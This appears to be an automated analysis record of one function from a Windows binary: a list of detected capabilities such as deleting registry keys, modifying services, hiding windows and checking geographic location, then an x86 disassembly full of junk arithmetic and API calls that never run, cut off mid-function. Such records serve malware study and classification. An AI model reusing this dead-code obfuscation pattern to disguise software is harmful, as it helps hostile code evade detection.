Function at 0x49f11a
Capabilities:
Accept command line arguments
Check os version
Create directory
Delete registry key
Delete registry value
Extract resource via kernel32 functions
Get disk information
Get geographical location
Get graphical window text
Get system information on windows
Hide graphical window
Identify system language via api
Modify service
Query environment variable
Query or enumerate registry key
Read .ini file
Set environment variable
Set registry value
Set thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2dc8
call fcn.004c8a80
push esi
push edi
mov dword [ebp - 0x2d8], 0xada439be
mov dword [ebp - 0x8e0], 0
jmp 0x49f14c
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 4
jge 0x49f168
mov eax, dword [ebp - 0x8e0]
mov dword [ebp + eax*4 - 0x2270], 4
jmp 0x49f13f
mov dword [ebp - 0x2d8], 3
jmp 0x49f181
mov eax, dword [ebp - 0x2d8]
dec eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jl 0x49f2a5
mov dword [ebp - 0x2210], 0x33582f80
mov dword [ebp - 0x220c], 0x33582f80
mov dword [ebp - 0x2208], 0x33582f80
mov dword [ebp - 0x2204], 0x33582f80
mov dword [ebp - 0x598], 0
jmp 0x49f1cf
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 3
jge 0x49f1eb
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x1fbc], 0x4cdb8faa
jmp 0x49f1c2
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1fbc], 0
jmp 0x49f219
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fbc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1fbc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1fbc], 3
jg 0x49f286
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp + eax*4 - 0x2270], 0
je 0x49f246
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2270], 0
or eax, 0xffffffff
je 0x49f267
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1fbc], 0
je 0x49f267
mov dword [ebp - 0x1948], 1
jmp 0x49f26e
and dword [ebp - 0x1948], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1948]
mov dword [ebp + eax - 0x2210], ecx
jmp 0x49f1fe
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x2d8]
mov eax, dword [ebp + eax*4 - 0x2270]
mov dword [ebp + ecx*4 - 0x2270], eax
jmp 0x49f174
mov dword [ebp - 0x68], 0xde19d29b
mov dword [ebp - 0x1ac8], 8
mov dword [ebp - 0x2e0], 5
mov dword [ebp - 0x114], 0
jmp 0x49f2d9
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 3
jge 0x49f2f5
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x21b0], 0
jmp 0x49f2cc
mov dword [ebp - 0x114], 0
jmp 0x49f30e
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 3
jge 0x49f32a
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x274c], 0x887cf2e5
jmp 0x49f301
mov byte [ebp - 0x25f], 0
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x49f344
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x68], 0
jmp 0x49f354
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jg 0x49f6c6
mov dword [ebp - 0x1b4], 0xfffffff8
mov dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp + eax*4 - 0x21b0]
mov dword [ebp - 0x1a7c], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x1a7c]
mov dword [ebp + eax*4 - 0x21b0], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1a7c]
mov dword [ebp + eax - 0x274c], ecx
mov eax, 0xf5f40e13
test eax, eax
je 0x49f483
cmp dword [ebp - 0x1b4], 0
je 0x49f3cf
cmp dword [ebp - 0x1b4], 0
je 0x49f3cf
mov dword [ebp - 0x1a84], 1
jmp 0x49f3d6
and dword [ebp - 0x1a84], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1a84], eax
jl 0x49f3f0
mov dword [ebp - 0x1a8c], 1
jmp 0x49f3f7
and dword [ebp - 0x1a8c], 0
cmp dword [ebp - 0x1a8c], 0x52bf
jle 0x49f40f
mov dword [ebp - 0x1a94], 1
jmp 0x49f416
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0x1a94]
sub eax, 0xbd79
cmp eax, dword [ebp - 0x68]
jle 0x49f432
mov dword [ebp - 0x1a9c], 1
jmp 0x49f439
and dword [ebp - 0x1a9c], 0
mov eax, dword [ebp - 0x1a9c]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x8bc]
cmp dword [ebp - 0x1b4], eax
je 0x49f45f
mov dword [ebp - 0x1aa4], 1
jmp 0x49f466
and dword [ebp - 0x1aa4], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1aa4], eax
jl 0x49f483
cmp dword [ebp - 0x68], 0
je 0x49f483
mov dword [ebp - 0x1aac], 1
jmp 0x49f48a
and dword [ebp - 0x1aac], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1aac], eax
jl 0x49f4a4
mov dword [ebp - 0x1ac0], 1
jmp 0x49f4ab
and dword [ebp - 0x1ac0], 0
mov eax, dword [ebp - 0x1ac0]
mov dword [ebp - 0x1ac8], eax
mov eax, dword [ebp - 0x1ac8]
sub eax, 0x2007
cmp eax, dword [ebp - 0x68]
jg 0x49f4d3
mov dword [ebp - 0x1ad0], 1
jmp 0x49f4da
and dword [ebp - 0x1ad0], 0
cmp dword [ebp - 0x1ad0], 0xffffffff
jle 0x49f4ef
mov dword [ebp - 0x1ad8], 1
jmp 0x49f4f6
and dword [ebp - 0x1ad8], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1ad8], eax
jg 0x49f516
mov eax, 0x3363
test eax, eax
je 0x49f516
mov dword [ebp - 0x1ae0], 1
jmp 0x49f51d
and dword [ebp - 0x1ae0], 0
cmp dword [ebp - 0x1ae0], 0x6658
jle 0x49f535
mov dword [ebp - 0x1ae8], 1
jmp 0x49f53c
and dword [ebp - 0x1ae8], 0
cmp dword [ebp - 0x1ae8], 0xffffffff
je 0x49f551
mov dword [ebp - 0x1af0], 1
jmp 0x49f558
and dword [ebp - 0x1af0], 0
cmp dword [ebp - 0x1af0], 0x9b41
jg 0x49f576
cmp dword [ebp - 0x2e0], 0
jne 0x49f576
and dword [ebp - 0x1bc8], 0
jmp 0x49f580
mov dword [ebp - 0x1bc8], 1
cmp dword [ebp - 0x8bc], 0
jne 0x49f59b
cmp dword [ebp - 0x1b4], 0
jne 0x49f59b
and dword [ebp - 0x1af8], 0
jmp 0x49f5a5
mov dword [ebp - 0x1af8], 1
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1af8], eax
jg 0x49f5bf
mov dword [ebp - 0x1b00], 1
jmp 0x49f5c6
and dword [ebp - 0x1b00], 0
cmp dword [ebp - 0x1b00], 0x310c
jl 0x49f5de
mov dword [ebp - 0x1b10], 1
jmp 0x49f5e5
and dword [ebp - 0x1b10], 0
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x1b10], eax
je 0x49f5ff
mov dword [ebp - 0x1b38], 1
jmp 0x49f606
and dword [ebp - 0x1b38], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1b38], eax
je 0x49f61d
mov dword [ebp - 0x1b40], 1
jmp 0x49f624
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1b40], eax
jne 0x49f639
cmp dword [ebp - 0x1b4], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x21b0], 0xfffffffc
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x274c], 0xfffffffc
mov eax, dword [ebp - 0x2e0]
sub eax, 4
je 0x49f672
cmp dword [ebp - 0x8bc], 0
je 0x49f670
jmp 0x49f6c6
jmp 0x49f6c1
mov dword [ebp - 0x2e0], 2
jmp 0x49f68b
mov eax, dword [ebp - 0x2e0]
dec eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jl 0x49f6c1
mov byte [ebp - 0x257], 0
movzx eax, byte [ebp - 0x257]
test eax, eax
je 0x49f6bf
push 0x1b99
push 0x2636
push 0
push 0x1191
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
jmp 0x49f67e
jmp 0x49f34d
mov dword [ebp - 0xb4], 0x5b9b55bb
mov dword [ebp - 0xb4], 0
jmp 0x49f6e9
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x1a
jle 0x49f98d
mov dword [ebp - 0xa34], 1
mov dword [ebp - 0x924], 0xc321
mov dword [ebp - 0x1e00], 0
mov dword [ebp - 0x1e10], 0x8ba70a1e
cmp dword [ebp - 0xb4], 0
je 0x49f85b
mov dword [ebp - 0x5a0], 9
mov byte [ebp - 0x331], 0
movzx eax, byte [ebp - 0x331]
test eax, eax
je 0x49f74f
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x5a0], 0
jmp 0x49f768
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0x1a
jne 0x49f859
mov dword [ebp - 0x814], 0
jmp 0x49f78e
mov eax, dword [ebp - 0x814]
inc eax
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 3
jge 0x49f7aa
mov eax, dword [ebp - 0x814]
mov dword [ebp + eax*4 - 0x1fcc], 0x10f7a73
jmp 0x49f781
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1fcc], 0
jmp 0x49f7d8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fcc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1fcc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1fcc], 0x18
jge 0x49f835
mov dword [ebp - 0x5a8], 1
mov dword [ebp - 0x5a8], 0xfffffffb
jmp 0x49f80b
mov eax, dword [ebp - 0x5a8]
dec eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 0xffffffe4
jge 0x49f833
mov dword [ebp - 0x1df0], 0xbdf7cd95
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1fcc]
mov dword [ebp - 0x1df0], eax
jmp 0x49f7fe
jmp 0x49f7bd
mov byte [ebp - 0x259], 0
movzx eax, byte [ebp - 0x259]
test eax, eax
je 0x49f854
push 0x58b
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
jmp 0x49f75b
jmp 0x49f875
mov byte [ebp - 0x2ad], 0
movzx eax, byte [ebp - 0x2ad]
test eax, eax
je 0x49f875
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp dword [ebp - 0xb4], 0
jne 0x49f890
mov eax, 0xd0e7
test eax, eax
jne 0x49f890
and dword [ebp - 0x1df8], 0
jmp 0x49f89a
mov dword [ebp - 0x1df8], 1
cmp dword [ebp - 0xa34], 0xa5a165f5
jae 0x49f8b2
mov dword [ebp - 0x1b24], 1
jmp 0x49f8b9
and dword [ebp - 0x1b24], 0
mov eax, dword [ebp - 0x924]
imul eax, dword [ebp - 0x1b24]
imul eax, eax, 0xfffe
neg eax
mov dword [ebp - 0x1e00], eax
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], eax
jge 0x49f8f4
cmp dword [ebp - 0x924], 0
jne 0x49f8f4
and dword [ebp - 0x178c], 0
jmp 0x49f8fe
mov dword [ebp - 0x178c], 1
cmp dword [ebp - 0x178c], 1
je 0x49f919
cmp dword [ebp - 0xa34], 0
jne 0x49f919
and dword [ebp - 0xb20], 0
jmp 0x49f923
mov dword [ebp - 0xb20], 1
mov eax, dword [ebp - 0x924]
cmp dword [ebp - 0xb20], eax
je 0x49f93d
mov dword [ebp - 0x1e08], 1
jmp 0x49f944
and dword [ebp - 0x1e08], 0
mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0x2430], eax
mov eax, dword [ebp - 0xb4]
sub eax, 0x2f6f287
imul eax, dword [ebp - 0xb4]
cmp eax, 0xb2b534de
jbe 0x49f975
mov dword [ebp - 0x1794], 1
jmp 0x49f97c
and dword [ebp - 0x1794], 0
mov eax, dword [ebp - 0x1794]
mov dword [ebp - 0x1e10], eax
jmp 0x49f6dc
mov dword [ebp - 0x2f0], 0xada439be
mov dword [ebp - 0x50], 0x490c4d8e
mov dword [ebp - 0x1e18], 0
mov dword [ebp - 0x17ac], 1
mov dword [ebp - 0x88c], 0
jmp 0x49f9cb
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 2
jge 0x49f9e7
mov eax, dword [ebp - 0x88c]
mov dword [ebp + eax*4 - 0x8ec], 0x3df7
jmp 0x49f9be
mov dword [ebp - 0x50], 0
jmp 0x49f9f7
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jg 0x49fbee
mov dword [ebp - 0xa3c], 6
mov dword [ebp - 0x1e20], 0x1fe3d2f5
mov dword [ebp - 0x5b0], 0
jmp 0x49fa2e
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 4
jge 0x49fa4a
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x2cb0], 1
jmp 0x49fa21
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
mov dword [ebp - 0x241c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8ec]
mov dword [ebp - 0x2424], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x242c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
mov ecx, dword [ebp - 0x50]
add eax, dword [ebp + ecx*4 - 0x8ec]
cmp eax, 0xb09f5954
je 0x49fa9d
mov dword [ebp - 0xb28], 1
jmp 0x49faa4
and dword [ebp - 0xb28], 0
mov eax, dword [ebp - 0xb28]
mov dword [ebp - 0xa3c], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xa3c], eax
je 0x49fac7
mov dword [ebp - 0x179c], 1
jmp 0x49face
and dword [ebp - 0x179c], 0
cmp dword [ebp - 0x179c], 0xb2fc
jle 0x49faec
cmp dword [ebp - 0xa3c], 0
jne 0x49faec
and dword [ebp - 0xb30], 0
jmp 0x49faf6
mov dword [ebp - 0xb30], 1
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
cmp eax, dword [ebp - 0xb30]
jg 0x49fb14
mov dword [ebp - 0x17a4], 1
jmp 0x49fb1b
and dword [ebp - 0x17a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8ec]
add eax, dword [ebp - 0x17a4]
cmp eax, dword [ebp - 0x1e18]
jge 0x49fb42
mov dword [ebp - 0xb38], 1
jmp 0x49fb49
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
imul eax, dword [ebp - 0xb38]
mov dword [ebp - 0x17ac], eax
cmp dword [ebp - 0x17ac], 0xcae7
jl 0x49fb78
mov dword [ebp - 0xa44], 1
jmp 0x49fb7f
and dword [ebp - 0xa44], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa44]
mov dword [ebp + eax - 0x2cb0], ecx
cmp dword [ebp - 0xa44], 0
je 0x49fba7
mov dword [ebp - 0xb40], 1
jmp 0x49fbae
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
cmp dword [ebp - 0xb40], eax
jne 0x49fbcc
mov dword [ebp - 0x17b4], 1
jmp 0x49fbd3
and dword [ebp - 0x17b4], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x8ec]
add eax, dword [ebp - 0x17b4]
mov dword [ebp - 0x1e20], eax
jmp 0x49f9f0
mov dword [ebp - 0x1f4], 0x324ec2e0
mov dword [ebp - 0x1f4], 0
jmp 0x49fc11
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0xffffffe5
jg 0x49fc3f
mov byte [ebp - 0x25b], 0
movzx eax, byte [ebp - 0x25b]
test eax, eax
je 0x49fc3d
push 0x4ca
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x49fc04
mov dword [ebp - 0x1f4], 0
jmp 0x49fc58
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0xe
jl 0x49fc7f
mov byte [ebp - 0x2e1], 0
movzx eax, byte [ebp - 0x2e1]
test eax, eax
je 0x49fc7d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x49fc4b
mov dword [ebp - 0x81c], 0
jmp 0x49fc98
mov eax, dword [ebp - 0x81c]
inc eax
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 4
jge 0x49fcb4
mov eax, dword [ebp - 0x81c]
mov dword [ebp + eax*4 - 0x2250], 4
jmp 0x49fc8b
mov dword [ebp - 0x2f0], 3
jmp 0x49fccd
mov eax, dword [ebp - 0x2f0]
dec eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jl 0x4a14d3
mov dword [ebp - 0x11c], 0xedb5cabf
mov dword [ebp - 0x5c0], 0
mov dword [ebp - 0x17bc], 0x8bd85027
mov dword [ebp - 0x17cc], 0
mov dword [ebp - 0x17dc], 0xf7626a9d
mov dword [ebp - 0x394], 0xffffffff
mov dword [ebp - 0xb78], 0
mov dword [ebp - 0x5b8], 0
jmp 0x49fd39
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 1
jge 0x49fd55
mov eax, dword [ebp - 0x5b8]
mov dword [ebp + eax*4 - 0x17fc], 1
jmp 0x49fd2c
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x5c0], eax
imul eax, dword [ebp - 0x5c0], 0x466b
test eax, eax
jne 0x49fd81
cmp dword [ebp - 0x5c0], 0
jne 0x49fd81
and dword [ebp - 0x1e28], 0
jmp 0x49fd8b
mov dword [ebp - 0x1e28], 1
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x2434], eax
push 5
pop eax
test eax, eax
jne 0x49fdaa
mov dword [ebp - 0xb48], 1
jmp 0x49fdb1
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x17bc], eax
cmp dword [ebp - 0x17bc], 0xfffffffd
jne 0x49fdd2
mov dword [ebp - 0xb50], 1
jmp 0x49fdd9
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0xb50]
cmp dword [ebp - 0x11c], eax
jne 0x49fdf9
mov dword [ebp - 0x17c4], 1
jmp 0x49fe00
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x17c4], eax
jle 0x49fe1a
mov dword [ebp - 0xb58], 1
jmp 0x49fe21
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xb60], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb60]
mov dword [ebp + eax - 0x17fc], ecx
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0x17cc], eax
mov eax, dword [ebp - 0x17cc]
cmp dword [ebp - 0xb60], eax
jge 0x49fe66
mov dword [ebp - 0x17d4], 1
jmp 0x49fe6d
and dword [ebp - 0x17d4], 0
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x17d4]
add eax, dword [ebp - 0x11c]
cmp eax, 2
je 0x49fe90
mov dword [ebp - 0xb68], 1
jmp 0x49fe97
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0xb68]
mov dword [ebp - 0x17dc], eax
mov eax, dword [ebp - 0x394]
cmp dword [ebp - 0x17dc], eax
jge 0x49febd
mov dword [ebp - 0xb70], 1
jmp 0x49fec4
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0x394]
cmp dword [ebp - 0xb70], eax
jle 0x49fede
mov dword [ebp - 0x17e4], 1
jmp 0x49fee5
and dword [ebp - 0x17e4], 0
mov eax, dword [ebp - 0x17e4]
mov dword [ebp - 0xb78], eax
mov dword [ebp - 0x394], 0
jmp 0x49ff0a
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x11
jl 0x4a0022
mov dword [ebp - 0x2230], 0x9b95520
mov dword [ebp - 0x222c], 0x9b95520
mov dword [ebp - 0x2228], 0x9b95520
mov dword [ebp - 0x2224], 0x9b95520
mov dword [ebp - 0x8e4], 0
jmp 0x49ff58
mov eax, dword [ebp - 0x8e4]
inc eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 4
jge 0x49ff74
mov eax, dword [ebp - 0x8e4]
mov dword [ebp + eax*4 - 0x2c78], 0
jmp 0x49ff4b
imul eax, dword [ebp - 0x5c0], 0xffff
sub eax, dword [ebp - 0x11c]
jne 0x49ff98
mov eax, 0x7635
test eax, eax
jne 0x49ff98
and dword [ebp - 0xb80], 0
jmp 0x49ffa2
mov dword [ebp - 0xb80], 1
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x17ec], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x17ec]
mov dword [ebp + eax - 0x2230], ecx
mov eax, dword [ebp - 0x17ec]
cmp eax, dword [ebp - 0xb80]
jle 0x49ffdb
mov dword [ebp - 0x17f4], 1
jmp 0x49ffe2
and dword [ebp - 0x17f4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2c78]
cmp eax, dword [ebp - 0x17f4]
jne 0x4a0003
mov dword [ebp - 0xb88], 1
jmp 0x4a000a
and dword [ebp - 0xb88], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb88]
mov dword [ebp + eax - 0x17fc], ecx
jmp 0x49fefd
mov dword [ebp - 0x243c], 0
mov dword [ebp - 0x5d0], 0xfffffffb
mov dword [ebp - 0x2444], 0x11e7bff4
mov dword [ebp - 0x244c], 0xdcdf5ef8
mov dword [ebp - 0x2454], 8
mov dword [ebp - 0x245c], 0x954e3f15
mov dword [ebp - 0xb90], 0xffffffff
mov dword [ebp - 0x1d4], 0
jmp 0x4a0081
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jge 0x4a009d
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x824], 0x4fd3df75
jmp 0x4a0074
mov dword [ebp - 0x1d4], 0
jmp 0x4a00b6
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jge 0x4a00d2
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x1e38], 1
jmp 0x4a00a9
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x824], 3
jmp 0x4a0100
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x824]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x824], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x824], 1
je 0x4a02ae
mov dword [ebp - 0x5c8], 0x394a2a4f
mov dword [ebp - 0x2030], 0x8144ad72
mov dword [ebp - 0x202c], 0x8144ad72
mov dword [ebp - 0x2028], 0x8144ad72
mov dword [ebp - 0x2024], 0x8144ad72
mov dword [ebp - 0x5c8], 0
jmp 0x4a015f
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 0x12
jle 0x4a02a9
mov dword [ebp - 0x1e30], 8
mov dword [ebp - 0x2464], 0x308f4727
mov dword [ebp - 0x82c], 0
jmp 0x4a0199
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 3
jge 0x4a01b5
mov eax, dword [ebp - 0x82c]
mov dword [ebp + eax*4 - 0x2d08], 0xc007c7be
jmp 0x4a018c
mov eax, dword [ebp - 0xb90]
inc eax
mov dword [ebp - 0xb90], eax
mov dword [ebp - 0x5d0], 0xffffffee
jmp 0x4a01db
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 1
jle 0x4a02a4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2030], 0
je 0x4a0214
mov byte [ebp - 0x25d], 0
movzx eax, byte [ebp - 0x25d]
test eax, eax
je 0x4a0212
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4a0222
cmp dword [ebp - 0x1e30], 0
je 0x4a0222
jmp 0x4a02a4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2030]
mov dword [ebp - 0x246c], eax
push 4
pop eax
shl eax, 0
mov ecx, 0x1fe3
imul ecx, ecx, 0
cmp dword [ebp + eax - 0x2030], ecx
jl 0x4a0258
mov dword [ebp - 0x1804], 1
jmp 0x4a025f
and dword [ebp - 0x1804], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x4e76
sub ecx, dword [ebp - 0x1804]
cmp dword [ebp + eax - 0x1e38], ecx
jl 0x4a0285
mov dword [ebp - 0xb98], 1
jmp 0x4a028c
and dword [ebp - 0xb98], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb98]
mov dword [ebp + eax - 0x2030], ecx
jmp 0x4a01ce
jmp 0x4a0152
jmp 0x4a00e5
mov dword [ebp - 0x22b0], 0x33582f80
mov dword [ebp - 0x22ac], 0x33582f80
mov dword [ebp - 0x22a8], 0x33582f80
mov dword [ebp - 0x22a4], 0x33582f80
mov dword [ebp - 0x2474], 7
mov byte [ebp - 0x2af], 0
movzx eax, byte [ebp - 0x2af]
test eax, eax
je 0x4a02fd
push 0x26b9
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x251], 0
movzx eax, byte [ebp - 0x251]
test eax, eax
je 0x4a032f
push 0
push 0xbe2
push 0x265c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [ebp - 0x5d8], 0x98cafa32
mov dword [ebp - 0xa4c], 0xffffffff
mov dword [ebp - 0x1824], 0x8ec3
mov dword [ebp - 0x75c], 0x6a47cded
mov dword [ebp - 0xa60], 0x92e6c0b3
mov dword [ebp - 0x124], 0
jmp 0x4a037a
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 4
jge 0x4a0396
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x1b60], 0xfffffffd
jmp 0x4a036d
mov dword [ebp - 0x124], 0
jmp 0x4a03af
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 1
jge 0x4a03cb
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x760], 0xba4d3ec9
jmp 0x4a03a2
mov eax, 0xc312fbb6
test eax, eax
je 0x4a041b
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1b60], 0x8d383303
jae 0x4a03f3
mov dword [ebp - 0x180c], 1
jmp 0x4a03fa
and dword [ebp - 0x180c], 0
mov eax, dword [ebp - 0x180c]
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0
je 0x4a041b
mov dword [ebp - 0xba0], 1
jmp 0x4a0422
and dword [ebp - 0xba0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b60]
cmp dword [ebp - 0xba0], eax
jne 0x4a0442
mov dword [ebp - 0x1814], 1
jmp 0x4a0449
and dword [ebp - 0x1814], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1b60]
add ecx, dword [ebp - 0x1814]
cmp dword [ebp + eax - 0x1b60], ecx
jg 0x4a0476
mov dword [ebp - 0xba8], 1
jmp 0x4a047d
and dword [ebp - 0xba8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b60]
imul eax, dword [ebp - 0xba8]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0x1824]
cmp dword [ebp - 0xa4c], eax
jl 0x4a04b0
mov dword [ebp - 0x181c], 1
jmp 0x4a04b7
and dword [ebp - 0x181c], 0
